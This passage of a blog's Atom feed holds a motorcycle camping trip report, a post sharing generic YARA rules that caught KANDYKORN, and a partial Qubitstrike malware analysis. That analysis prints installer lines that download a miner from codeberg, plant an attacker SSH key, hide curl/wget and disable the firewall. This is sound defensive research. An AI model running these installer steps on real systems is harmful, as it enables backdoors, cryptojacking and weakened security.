&lt;p&gt;&lt;a href=&quot;https://github.com/chainguard-dev/malcontent&quot;&gt;malcontent&lt;/a&gt; works on any file you might encounter in open source, from shell scripts to Linux ELF binaries to macOS machO binaries and PHP. While we’ve incorporated over 15,000 &lt;a href=&quot;https://yara.readthedocs.io/en/stable/index.html&quot;&gt;YARA rules&lt;/a&gt;, we&#39;re far from the same quality level as VirusTotal; so if you are handy in YARA or &lt;a href=&quot;https://go.dev/&quot;&gt;Go&lt;/a&gt; or would like to learn more about them, PRs are welcome!&lt;/p&gt;
&lt;p&gt;PS - malcontent can also be used as a basic malware scanner - but it isn’t yet as impressive as the “diff” mode:  &lt;code&gt;mal scan /path&lt;/code&gt;&lt;/p&gt;
</content>
  </entry><entry>
    <title>Motocamping with the BMW CE 04</title>
    <link href="https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/"/>
    <updated>2023-11-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/</id>
    <content xml:lang="en" type="html">&lt;p&gt;This weekend, I took my funky electric BMW CE 04 camping at the edge of the Uwharrie Mountains for 3 days, covering 170 miles (270km). The trip was a breeze, so skip this post if you are looking for drama.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://lh7-us.googleusercontent.com/Yc4TgQRC5rQVV2YpB-e8lIHSbq4_FkZjo7Xg-2fyY0HmshATmloYfWRgo8YzUqe7_QT-ERC3zHv7RIuxsE77-7bvLWAtwke7IqFhIY6p3U2Dus4xTOxT3bHMk4i8s4jySumVTFONmEmNmlnfFaI6R-g&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;This was an unofficial camping trip with folks from my daughter’s girl scout troop. She wanted to travel with her friends, but I still had to be prepared to take her home on the bike, so everything had to fit for the two of us:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/muZaam1b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;From a packing perspective, the most creative thing I did was tape my tools to the back of the helmet compartment in the CE 04. There is an indented area on the back wall there that is otherwise unused:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/33ChGaLa.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once that’s in, the helmet compartment still easily fits a helmet or two sleeping bags and a J1772 charger cable:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/D5GDXs36.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I didn’t mind if the tent and chairs got wet, so I placed them up against the top case.&lt;/p&gt;
&lt;p&gt;The route I picked was setup so that I would charge twice in each direction so that I would have enough range to find a “Plan B” in case of a charging problem.  I found the chargers using PlugShare and then plugged them into BMW’s navigation software to find the twistiest route possible:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://lh7-us.googleusercontent.com/8i9AKoBIXsuBJmsDurX4ryC0znXZeVc4nq0vEE7nj6Ku9K4g8yJUfKL7VnLtuo2MukyP02s2venwKyXVDKjVgNhQnzFvfMjRNVFMWjzy8e1SRFpu1ysTAEgYV2plDgYJXHFdWLWZJdUIWXhQQlGJjLA&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The first river crossing was the Haw River, named after the native tribe that once occupied this area. The tribe disappeared through death and assimilation after 1715, but the place names live on in their memory. North Carolina is filled with Native American history, and even today, North Carolina has the highest number of Native American residents (122,000) this side of the Mississippi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/xmbebIjJ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The first charging stop was at Welford Harris Ford in Siler City, where a most curious and friendly manager welcomed me. He’d never seen an electric motorcycle before. I usually avoid charging at car dealerships because they have the lowest likelihood of functioning in my experience. Dealerships never seem to have more than 1 charging port, which is often deactivated, locked away, in use by a dealership car, or deemed customers only.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/4M3MR8Qv.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Welford Harris Ford, on the other hand, is exceptionally friendly and has a great food options nearby, so you can fill your belly while you fill your battery:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/3V9mYXU0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;By the time I had lunch and returned to the bike, it had charged from 43% to 100%. Heading south from there toward the Deep River, I was soon welcomed by a series of abandoned barns, chicken coops &amp;amp; textile mills. Also: rain. Not enough to slow me down too much, but enough to make me take the curves carefully as they were filled with wet fall leaves.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/Y1O6nh5j.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;At the Deep River, I encountered &lt;a href=&quot;https://northcarolinahistory.org/encyclopedia/coleridge/&quot;&gt;Coleridge, home of Enterprise Manufacturing&lt;/a&gt; - this cotton mill was built in the late 1800s, it’s been shuttered for the last 65 years:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/Mpk3O6mH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;There was even 3-4 miles of quiet gravel roads to enjoy. It still blows me away how well the CE 04 handles gravel. Somehow, I feel more confident. on it in gravel than I did with my old F650GS Dakar.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/W6CDwhTQ.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Just south of Asheboro, I stopped at the &lt;a href=&quot;https://www.nczoo.org/&quot;&gt;North Carolina Zoo&lt;/a&gt; for a free charge and a much needed bathroom break. I’m always skeptical of free chargers, as people often unnecessarily camp their cars out at them. It’s a cold &amp;amp; rainy day, and the zoo provides more chargers (6!) than anywhere else I’ve been outside of a Tesla Supercharger, so it was no hassle.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/GosO7sNb.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went a little out of my way to check out Seagrove, the Pottery Capital of the United States. There are more working potters per capita here than anywhere else in the US. Every building in the town seemed to cater to pottery somehow.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/tnM4aek6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Heading south down via Ether Rd &amp;amp; Okeewemee (meaning “land between two rivers”), I avoided the highway and passed farm after farm: mostly cows, but also horses and sheep. I also noticed the youth of the trees here: it seems like everything around me had been clear-cut at least once in the last 25 years.&lt;/p&gt;
&lt;p&gt;I soon arrived at our campground, an old farm in Troy, NC. It was gorgeous and peaceful. The host, Karl, was exceptionally welcoming and gregarious. He showed me around the expansive property, where I could charge my bike and place my tent, and welcomed me into his home. We soon had a campfire with smores.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/G2sFIzYC.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;My new tent, the &lt;a href=&quot;https://www.bigagnes.com/collections/tiger-wall-ul-bikepack-solution-dye-series/products/tiger-wall-ul-2-bikepack&quot;&gt;Big Agnes Tiger Wall 2 (bikepacking version)&lt;/a&gt; was easy to set up and did not leak any rain: it’ll cozily fit two people and their gear and packs up exceptionally small. After a good nights rest, I woke up early in the morning to take some photos of the farm:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/krevJcfT.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/xAmnfPXu.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/UNVOPSHU.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/nzcQH2Om.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We made a day of going to the North Carolina Zoo in Asheboro, where I found my spirit animal, the &lt;a href=&quot;https://en.wikipedia.org/wiki/Colorado_River_toad&quot;&gt;Colorado River Toad&lt;/a&gt;. I had read about the psychotropic characteristics of this species as a teenager and soon referred to my peers as “toadblowers” for reasons I still don’t understand.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/tb0m8AiH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next day it was time to head home. As I had initially planned for my daughter to join me on the way home, I selected a known good route home with known-good EV charging options. She, however, decided to ride back with her friends, so I took the time to scout out some new charging options. Here’s the Blink Charger at Montgomery Ford in Troy, NC - you can charge a bike here, but they always leave a Mustang Mach-E parked here, so don’t count on charging your car:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/W1EJkKwG.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The nearby tiny town of Biscoe had a charger listed on PlugShare as vandalized and inoperable since July, so I dropped by to confirm that this is still the case. It’s weird to think that folks would vandalize an EV charger, but I imagine it was bored teenagers more than a nefarious group of anti-EV constituents.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/6YxzIJse.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Robbins, NC, has my vote for the most charming small town in the Piedmont. It has a lovely EV  charger near a great coffee shop, walking trails, and Carolina Fried Chicken and House of Pizza (aka “Chicken Hut”) I stopped here to recharge myself and the CE 04: by the time I returned to the bike, it was at 99%.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/7Y5taLgW.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After Robbins, I followed River Rd for a beautiful twisty route along the Deep River. The fall leaves and gentle curves quickly instilled a sense of peace in me. The next and final planned stop was the charger at the Goldston Public Library, where I arrived with a 53% charge.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/tp3kW1aH.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I was in a hurry to get home and made the mistake of going by intuition and unplugging the bike at 68% rather than looking up how much charge I needed. I thought I only needed a 55% charge to get home from there, but it turned out to be 72% - so I made one last charging top-off at the Chatham County Agriculture &amp;amp; Conference Center to add another 15% onto the bike before reaching home.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/motocamping-with-the-bmw-ce-04/4M06wfSN.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Thinking back to this trip, it amazes me how many people went into making such an adventure possible: from the folks who organized the campout to the engineers who designed the EV chargers, and the people who built the roads. It’s a good reminder that behind all this amazing technology is a sea of people working together for the greater good of. the world.&lt;/p&gt;
&lt;p&gt;That thought fills my heart. Until next time, keep the shiny side up.&lt;/p&gt;
</content>
  </entry><entry>
    <title>KANDYKORN and the power of generic YARA detectors</title>
    <link href="https://choosehappy.dev/posts/2023/the-power-of-generic-yara-detectors/"/>
    <updated>2023-11-04T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/the-power-of-generic-yara-detectors/</id>
    <content xml:lang="en" type="html">&lt;p&gt;At my current employer, nation-state actors are part of our threat model. So, I get a little excited when someone posts malware that is tied to one of the big-4 (China, North Korea, Russia, United States of America). Last week, Elastic Security Labs posted an article titled &lt;a href=&quot;https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn&quot;&gt;DPRK passing out KANDYKORN&lt;/a&gt; outlining the latest macOS malware discovery from North Korea, and this week a sample appeared in the &lt;a href=&quot;https://github.com/objective-see/Malware&quot;&gt;Objective-See Malware collection&lt;/a&gt; for inspection.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/the-power-of-generic-yara-detectors/ZPNXRdih.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I threw our &lt;a href=&quot;https://yara.readthedocs.io/en/v3.4.0/index.html&quot;&gt;YARA&lt;/a&gt; queries at Kandy Korn, and found that 2 of the 3 binaries were identified as suspicious:&lt;/p&gt;
&lt;!--more--&gt;
&lt;pre&gt;&lt;code class=&quot;language-log&quot;&gt;MEDIUM objective-see/KandyKorn/kandykorn
  * generic_scan_tool
      f_gethostbyname: gethostbyname
      f_socket: socket
      f_connect: connect
      o_probe: probe
      o_port: port
  - sha256: 927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6
/Users/t/src/malware/objective-see/KandyKorn/log

MEDIUM objective-see/KandyKorn/log
  * opaque_macho_binary
      word_with_spaces: ja kw
  - sha256: 3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, no virus scanners could detect this Malware until this week. That&#39;s the power of generic YARA detectors: once you define your baseline of normalcy, you can detect the truly weird things that circulate through your network.&lt;/p&gt;
&lt;h2&gt;Two generic YARA techniques worth trying&lt;/h2&gt;
&lt;p&gt;What do I mean by a generic YARA detector? I mean YARA rules that are designed to match multiple kinds of suspicious binaries, even those you have never seen before.&lt;/p&gt;
&lt;p&gt;I&#39;m going to share these two YARA rules that were capable of catching KandyKorn before it was published. The first generic query detects portscanners - it’s what I refer to as a “capabilities-based” detector:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule generic_scan_tool {
  strings:
    $f_gethostbyname = &amp;quot;gethostbyname&amp;quot;
    $f_socket = &amp;quot;socket&amp;quot;
    $f_connect = &amp;quot;connect&amp;quot;
    $o_banner = &amp;quot;banner&amp;quot;
    $o_Probe = &amp;quot;Probe&amp;quot;
    $o_probe = &amp;quot;probe&amp;quot;
    $o_scan = &amp;quot;scan&amp;quot;
    $o_port = &amp;quot;port&amp;quot;
  condition:
    all of ($f*) and any of ($o*)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This rule works by trying to guess at the capabilities of a program by parsing through strings it mentions. YARA rules excel at discovering the latent capabilities of a program, which can ocassionally catch things that behavioral analysis misses.&lt;/p&gt;
&lt;p&gt;My second favorite kind of detector is an obfuscation-detector: searching for binaries that seem to have gone through a process to hide the strings a capabilities-based detector might rely on.&lt;/p&gt;
&lt;p&gt;This query uncovers Mach-O binaries that have been intentionally obfuscated, by measuring the number of words found with spaces between them:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule opaque_macho_binary {
  strings:
    $word_with_spaces = /[a-z]{2,} [a-z]{2,}/
  condition:
    filesize &amp;lt; 52428800 and (uint32(0) == 4277009102 or uint32(0) == 3472551422 or uint32(0) == 4277009103 or uint32(0) == 3489328638 or uint32(0) == 3405691582 or uint32(0) == 3199925962) and #word_with_spaces &amp;lt; 4
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The idea is that very few Mach-O binaries have no sentence references. These sentences are sometimes error messages, sometimes usage messages, and sometimes phrases that are displayed to the screen. Almost no binaries have less than 4 words with spaces.&lt;/p&gt;
&lt;p&gt;Since writing this rule, I haven&#39;t seen that alert fire for anything other than malware, and it has caught quite a few samples.&lt;/p&gt;
&lt;p&gt;Here&#39;s a bonus query that matches the &amp;quot;Discord&amp;quot; binary by way of looking at its capabilities. This query Swift binaries that ship with a debugging entitlement and references executables, which isn&#39;t a common combination. This entitlement is normally stripped when you ship a binary, but I guess the DPRK did not get that memo.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule swift_debug_program_with_exec_ref {
	strings:
		$task_allow = &amp;quot;com.apple.security.get-task-allow&amp;quot;
		$mh_execute_header = &amp;quot;_mh_execute_header&amp;quot;
		$executable = &amp;quot;executable&amp;quot;
		$swift_force_load = &amp;quot;__swift_FORCE_LOAD&amp;quot;
	condition:
		all of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This next generic query also matches &lt;a href=&quot;https://archive.f-secure.com/weblog/archives/00002576.html&quot;&gt;Janicab&lt;/a&gt;, though I suspect it will also yield false positives:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule executable_place_ref {
	strings:
		$xecURL = &amp;quot;xecURL&amp;quot;
		$xecutableURL = &amp;quot;xecutableURL&amp;quot;
		$xecUrl = &amp;quot;xecUrl&amp;quot;
		$xecutableUrl = &amp;quot;xecutableUrl&amp;quot;
		$xecFile = &amp;quot;xecFile&amp;quot;
		$xecutableFile = &amp;quot;xecutableFile&amp;quot;
	condition:
		any of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The “kandykorn” binary has many opportunities to be matched generically based on latent capabilities. For example, very few programs list system pids and reference libcurl:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule proc_listpids_and_curl {
	strings:
		$proc_listpids = &amp;quot;proc_listpids&amp;quot;
		$libcurl = &amp;quot;libcurl&amp;quot;
	condition:
		all of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Similarly, the &lt;code&gt;log&lt;/code&gt; binary (aka SUGARLOADER) can be matched by the following YARA query:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yara&quot;&gt;rule notification_dialog_with_sysctl_and_curl {
	strings:
		$display_alert = &amp;quot;CFUserNotificationDisplayAlert&amp;quot;
		$socket = &amp;quot;socket&amp;quot;
		$sysctl = &amp;quot;sysctl&amp;quot;
		$getpid = &amp;quot;getpid&amp;quot;
		$curl = &amp;quot;curl&amp;quot;
	condition:
		all of them
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Some may argue that generic queries like this are a headache due to false-positive management, but it depends on your mission and threat model: are you more interested in catching known or unknown malware? If the latter, try generic queries and aggressively update them to reduce the false positive rate to near zero. Consider all alerts to be actionable.&lt;/p&gt;
&lt;p&gt;If you need hints as to what to match in your generic queries, here&#39;s an alias I keep around to extract the more important strings for UNIX binaries:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;strings - &amp;quot;$1&amp;quot; 
  | egrep &amp;quot;/[a-zA-Z][a-z]{2,}|[A-Za-z]{4}|[a-zA-Z]{2}-[a-zA-Z]{2}|&#92;d+&#92;.&#92;d+&#92;.&#92;d+|[0-9a-f]:[0-9a-f]&amp;quot; 
  | egrep -v &amp;quot;^(__TEXT|__DATA|__text|__stubs|__cstring|__const|__data|__common|__LINKEDIT|__literals|__ojc_methname|__unwind_info|__mod_init_func|__obj_|__la_symbol_ptr|__eh_frame|__DATA_CONST|__PAGEZERO|__init_offsets|__swift5_.*|__objc_.*|AUAT.*|AVAUI.*)$&amp;quot; | uniq
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Good luck out there!&lt;/p&gt;
</content>
  </entry><entry>
    <title>Qubitstrike: Linux kernel rootkits go mainstream</title>
    <link href="https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/"/>
    <updated>2023-10-21T00:00:00Z</updated>
    <id>https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/</id>
    <content xml:lang="en" type="html">&lt;p&gt;Earlier this week, I stumbled into &lt;a href=&quot;https://www.cadosecurity.com/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks/&quot;&gt;Cado&#39;s report on Qubitstrike&lt;/a&gt;, an attack on publicly accessible &lt;a href=&quot;https://jupyter.org/&quot;&gt;Jupyter notebook&lt;/a&gt; installations. Unlike most security reports, the hosted malware files were still available, which meant I could analyze and validate our defenses against it. Normally, I don&#39;t get this opportunity to study emerging threats, as I&#39;m not paying the $20,000/yr paywall fee for access to Google&#39;s VirusTotal service that most researchers seem to rely on.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/KuU2dMIe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;!--more--&gt;
&lt;p&gt;I really like QubitStrike: it has a bit of everything and is easy to dissect. The most exciting thing about it is that it&#39;s the first example I&#39;ve seen of casual attackers employing a kernel rootkit that actually works on the latest versions of popular Linux distributions. Let&#39;s take a tour!&lt;/p&gt;
&lt;h2&gt;The Qubitstrike Installer&lt;/h2&gt;
&lt;p&gt;If you ever wanted to study how your modern malware installer operates on Linux, the Qubitstrike installer script is the perfect case study for you - it&#39;s like a tasting tour of UNIX malware techniques in a single easy-to-read shell script.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Two Linux rootkits (kernel and user-mode)&lt;/li&gt;
&lt;li&gt;Process hiding&lt;/li&gt;
&lt;li&gt;Credential theft&lt;/li&gt;
&lt;li&gt;An SSH backdoor&lt;/li&gt;
&lt;li&gt;A viral component&lt;/li&gt;
&lt;li&gt;A cryptocurrency miner&lt;/li&gt;
&lt;li&gt;Telegram integration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To follow along, I&#39;ve posted a copy of the original installer script here: &lt;a href=&quot;https://github.com/tstromberg/malware-menagerie/blob/main/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh&quot;&gt;mi.sh&lt;/a&gt;. If you want to test the installer yourself within a VM, I&#39;ve made a defanged copy of it that works without downloading content from codeberg: &lt;a href=&quot;https://github.com/tstromberg/malware-menagerie/blob/main/linux/2023.Trojan_Miner.QubitStrike/local_installer/local-mi.sh&quot;&gt;local-mi.sh&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Installer Initialization&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;miner_url=&amp;quot;https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz&amp;quot;
miner_name=&amp;quot;python-dev&amp;quot;
killer_url=&amp;quot;https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh&amp;quot;
kill_url2=&amp;quot;https://codeberg.org/m4rt1/sh/raw/branch/main/kill_loop.sh&amp;quot;
pool=&amp;quot;pool.hashvault.pro:80&amp;quot;
MD5=&amp;quot;199b790d05724170f3e6583500799db1&amp;quot;
DIR=&amp;quot;/usr/share/.LQvKibDTq4&amp;quot;
RSA=&amp;quot;ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali&amp;quot;
[[ $EUID -eq 0 ]] || DIR=&amp;quot;/tmp/.LQvKibDTq4&amp;quot; ;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Even the initialization part of the script contains multiple detection opportunities, as the following things are highly irregular to find in executables or shell scripts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;References to &lt;code&gt;codeberg.org/.*/raw/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;References to &lt;code&gt;hashvault&lt;/code&gt; or &lt;code&gt;miner_&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;References to hidden &lt;code&gt;/usr/share&lt;/code&gt; and &lt;code&gt;/tmp&lt;/code&gt; directories&lt;/li&gt;
&lt;li&gt;SSH keys&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fetch Tools&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://choosehappy.dev/posts/2023/qubitstrike-and-diamorphine-linux-kernel-rootkits-go-mainstream/jsHYhB4p.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I&#39;m now going to show the installer output in &lt;a href=&quot;https://tldp.org/LDP/Bash-Beginners-Guide/html/sect_02_03.html&quot;&gt;debug mode (using &lt;code&gt;bash -x)&lt;/code&gt;&lt;/a&gt;, as it usually makes the behavior easier to discern. If you are on a Linux distro that has &amp;quot;apt&amp;quot;, &amp;quot;yum&amp;quot;, or &amp;quot;apk&amp;quot; package manager available, the script will install curl or wget for you:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 INSTALLING WGET, CURL ...
---------------------------------------
+ type apt
+ apt-get update --fix-missing
Hit:1 http://archive.ubuntu.com/ubuntu lunar InRelease                   
Hit:2 http://security.ubuntu.com/ubuntu lunar-security InRelease         
Hit:3 http://archive.ubuntu.com/ubuntu lunar-updates InRelease           
Hit:4 http://archive.ubuntu.com/ubuntu lunar-backports InRelease
Reading package lists... Done
+ apt-get install wget curl -y
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
wget is already the newest version (1.21.3-1ubuntu1).
curl is already the newest version (7.88.1-8ubuntu2.3).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A script or executable containing &amp;quot;apt-get install wget curl -y&amp;quot; is probably malware, so it&#39;s not a bad thing to alert on. Once a fetch tool is installed, it moves it to a new location to break future attackers, as well as bypass detection queries that look for &lt;code&gt;wget&lt;/code&gt; or &lt;code&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 Replacing WGET, CURL ...
---------------------------------------
+ sleep 1s
+ [[ -f /usr/bin/wget ]]
+ mv /usr/bin/wget /usr/bin/zget
+ [[ -f /usr/bin/curl ]]
+ mv /usr/bin/curl /usr/bin/zurl
+ [[ -f /bin/wget ]]
+ [[ -f /bin/curl ]]
++ command -v zget
+ [[ -x /usr/bin/zget ]]
+ req=&#39;zget -q -O -&#39;
+ DLr=&#39;zget -O&#39;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we use the newly renamed fetch tool to query for our Internet IP using &lt;a href=&quot;https://ifconfig.me/&quot;&gt;ifconfig.me&lt;/a&gt;. The script later uses this value as a client ID:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;++ zget -q -O - ifconfig.me
+ client=136.54.68.146
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The &amp;quot;restart&amp;quot; argument&lt;/h3&gt;
&lt;p&gt;Curiously, the installer supports a &lt;code&gt;restart&lt;/code&gt; argument, which provides a handy way to re-set up an infected host. It also gives you a starting point to sort out how to clean up an infected host, though it doesn’t seem to do anything about the kernel rootkit or other system-level changes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    chattr -R -i /usr/share/.LQvKibDTq4/
    rm -rf /usr/share/.LQvKibDTq4/
    rm -rf /tmp/.LQvKibDTq4/
    rm -rf /usr/share/.28810
    rm -rf /etc/cron.d/netns
    chattr -i /etc/ld.so.preload
    chattr -i /usr/local/lib/libnetresolv.so
    rm -rf /usr/local/lib/libnetresolv.so /etc/ld.so.preload
    pkill -f python-dev
    pkill python-dev
    killall python-dev
    mkdir -p $DIR
    start
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Begin Disable Security&lt;/h3&gt;
&lt;p&gt;Now things get serious, as the malware begins by actively degrading the security posture of the Linux host:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;---------------------------------------
 Begin disable security 
---------------------------------------
+ cover
+ iptables -F
+ systemctl stop firewalld
+ systemctl disable firewalld
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, it has flushed all existing iptables firewall rules and killed off the &lt;a href=&quot;https://firewalld.org/&quot;&gt;firewalld firewall manager&lt;/a&gt; (used mainly by Red Hat). Next, the script increases the file descriptor count from a typical value of 1024 to 65535 for reasons I&#39;m not quite sure of.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;+ ulimit -n 65535
&lt;/code&gt;&lt;/pre&gt;
